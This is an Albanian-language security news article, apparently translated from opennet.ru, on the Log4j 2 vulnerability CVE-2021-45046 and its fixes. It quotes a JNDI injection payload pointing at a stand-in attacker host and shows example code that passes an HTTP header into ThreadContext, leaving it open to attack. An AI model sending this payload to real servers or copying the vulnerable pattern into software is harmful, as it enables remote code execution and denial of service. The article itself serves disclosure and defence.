Në implementimin e zëvendësimeve JNDI në bibliotekën Log4j 2 është zbuluar një tjetër vulnerabilitet (CVE-2021-45046), i cili shfaqet pavarësisht përmirësimeve të sjella në versionin 2.15 dhe pavarësisht nga përdorimi i parametrizimit «log4j2.noFormatMsgLookup» për mbrojtje. Problemi paraqet rrezik kryesisht për versionet e vjetra të Log4j 2, të mbrojtura me flamurin «noFormatMsgLookup», pasi lejon kalimin e mbrojtjes nga vulnerabiliteti i mëparshëm (Log4Shell, CVE-2021-44228), që lejon ekzekutimin e kodit të përdoruesit në server. Për përdoruesit e versionit 2.15, shfrytëzimi është i kufizuar në krijimin e kushteve për ndërprerjen e aplikacionit për shkak të shterimit të burimeve të disponueshme.
Vulnerabiliteti shfaqet vetëm në sistemet ku gjatë regjistrimit përdoren kërkesa konteksti (Context Lookup), si ${ctx:loginId}, ose shabllonat MDC (Thread Context Map), për shembull, %X, %mdc dhe %MDC. Shfrytëzimi kufizohet në krijimin e kushteve për shkak të regjistrimit të të dhënave që përmbajnë zëvendësime JNDI, gjatë përdorimit të kërkesave konteksti ose shabllonave MDC, që përcaktojnë rregullat e formatimit të regjistrimit.
Kërkuesit nga kompania LunaSec theksuan se për versionet e Log4j nën 2.15, ky vulnerabilitet mund të përdoret si një vektor i ri sulmi Log4Shell, duke çuar në ekzekutimin e kodit, nëse gjatë regjistrimit përdoren shprehje ThreadContext, në të cilat përfshihen të dhëna të jashtme, pavarësisht nëse është aktivizuar flamuri për mbrojtje «noMsgFormatLookups» ose shablloni «%m{nolookups}».

Obstruksioni i mbrojtjes përfundon në faktin se në vend të vendosjes së drejtpërdrejtë "${jndi:ldap://attacker.com/a}", ky shprehje vendoset përmes një vlere të ndërmjetme, e përdorur në rregullat e formatimit të daljes në log. Për shembull, nëse gjatë daljes në log përdoret kërkesa kontekstuale ${ctx:apiversion}, atëherë sulmi mund të kryhet përmes vendosjes së të dhënave "${jndi:ldap://attacker.com/a}" në vlerën që shkruhet në variablin apiversion. Një shembull i kodit të cenueshëm: appender.console.layout.pattern = ${ctx:apiversion} — %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L — %m%n @GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // Vlera e kokës HTTP "X-Api-Version" kalon në ThreadContext ThreadContext.put("apiversion", apiVersion); // Gjatë daljes në log, vlera e jashtme apiversion do të përpunojë përmes vendosjes ${ctx:apiversion} logger.info("Marrë një kërkesë për versionin e API"); return "Përshëndetje, botë!"; }
Në versionin Log4j 2.15, cenueshmëria mund të përdoret për të kryer sulme DoS duke kaluar në ThreadContext vlera që çojnë në ciklim të përpunimit të modelit të formatimit të daljes.

Për të bllokuar cenueshmërinë, janë publikuar përditësime 2.16 dhe 2.12.2. Në degën Log4j 2.16, përveç rregullimeve të realizuara në versionin 2.15 dhe lidhjes së kërkesave JNDI LDAP në "localhost", funksionaliteti JNDI është çaktivizuar plotësisht si të dhëna të parazgjedhura dhe mbështetje për modelet e zëvendësimit të mesazheve është hequr. Si një zgjidhje për mbrojtje, është propozuar të hiqet klasa JndiLookup nga classpath (p.sh., "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class").
Mund të ndjekësh shfaqjen e rregullimeve në paketat e shpërndarjes në faqet e shpërndarësve (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) dhe prodhuesve të platformave Java (GitHub, Docker, Oracle, vmWare, Broadcom dhe Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure etj.).
Burimi: opennet.ru
